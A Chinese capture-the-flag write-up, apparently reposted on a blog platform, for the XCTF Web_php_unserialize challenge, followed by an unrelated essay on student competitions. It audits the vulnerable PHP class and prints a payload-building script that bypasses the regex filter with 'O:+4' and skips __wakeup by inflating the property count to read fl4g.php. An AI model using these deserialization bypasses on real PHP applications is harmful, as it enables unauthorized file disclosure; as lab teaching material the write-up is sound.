xctf php序列化,XCTF(Web_php_unserialize)

拿到题目,是个这,

3d9b70162c3738efc1d4380838728f99.png

我们来一波代码审计

1 <?php

2 class Demo {

3 private $file = 'index.php';

4 public function __construct($file) {

5 $this->file = $file; //构造函数,对类的变量进行初始化

6 }

7 function __destruct() {

8 echo @highlight_file($this->file, true);

9 }

10

11 //魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法

12 function __wakeup() {

13 if ($this->file != 'index.php') {

14 //the secret is in the fl4g.php

15 $this->file = 'index.php';

16 }

17 }

18 }

19 if (isset($_GET['var'])) {

20 $var = base64_decode($_GET['var']);

21

22 //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化

23 if (preg_match('/[oc]:\d+:/i', $var)) {

24 die('stop hacking!');

25 } else {

26 @unserialize($var);

27 }

28 } else {

29 highlight_file("index.php");

30 }

31 ?>

审计完成之后,思路就很清晰了,对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了 在类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会高亮显示出文件。 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

写一个序列化的脚本

1 <?php

2 class Demo {

3 private $file = 'index.php';

4 public function __construct($file) {

5 $this->file = $file;

6 }

7 function __destruct() {

8 echo @highlight_file($this->file, true);

9 }

10 function __wakeup() {

11 if ($this->file != 'index.php') {

12 //the secret is in the fl4g.php

13 $this->file = 'index.php';

14 }

15 }

16 }

17

18 $a = new Demo("fl4g.php");

19 echo(serialize($a))."\n";

20 echo base64_encode('O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}')."\n";

21

22 ?>

这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结 尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结 果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00

干脆写个python脚本

ca72655f75a08aac8df6caa1e5233a07.png

注意在python3中,字符串被b''包围,\0表示空格

php中也ok

396c5da14e9a5d1a83837292a7162709.png

标签:__,Web,序列化,index,file,var,php,XCTF

来源: https://www.cnblogs.com/zzjdbk/p/13022171.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
大学生参加学科竞赛有着诸多好处,不仅有助于个人综合素质的提升,还能为未来职业发展奠定良好基础。以下是一些分析: 首先,学科竞赛是提高专业知识和技能水平的有效途径。通过参与竞赛,学生不仅能够深入学习相关专业知识,还能够接触到最新的科研成果和技术发展趋势。这有助于拓展学生的学科视野,使其对专业领域有更深刻的理解。在竞赛过程中,学生通常需要解决实际问题,这锻炼了他们独立思考和解决问题的能力。 其次,学科竞赛培养了学生的团队合作精神。许多竞赛项目需要团队协作来完成,这促使学生学会有效地与他人合作、协调分工。在团队合作中,学生们能够学到如何有效沟通、共同制定目标和分工合作,这对于日后进入职场具有重要意义。 此外,学科竞赛是提高学生综合能力的一种途径。竞赛项目通常会涉及到理论知识、实际操作和创新思维等多个方面,要求参赛者具备全面的素质。在竞赛过程中,学生不仅需要展现自己的专业知识,还需要具备创新意识和解决问题的能力。这种全面的综合能力培养对于未来从事各类职业都具有积极作用。 此外,学科竞赛可以为学生提供展示自我、树立信心的机会。通过比赛的舞台,学生有机会展现自己在专业领域的优势,得到他人的认可和赞誉。这对于培养学生的自信心和自我价值感非常重要,有助于他们更加积极主动地投入学习和未来的职业生涯。 最后,学科竞赛对于个人职业发展具有积极的助推作用。在竞赛中脱颖而出的学生通常能够引起企业、研究机构等用人单位的关注。获得竞赛奖项不仅可以作为个人履历的亮点,还可以为进入理想的工作岗位提供有力的支持。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值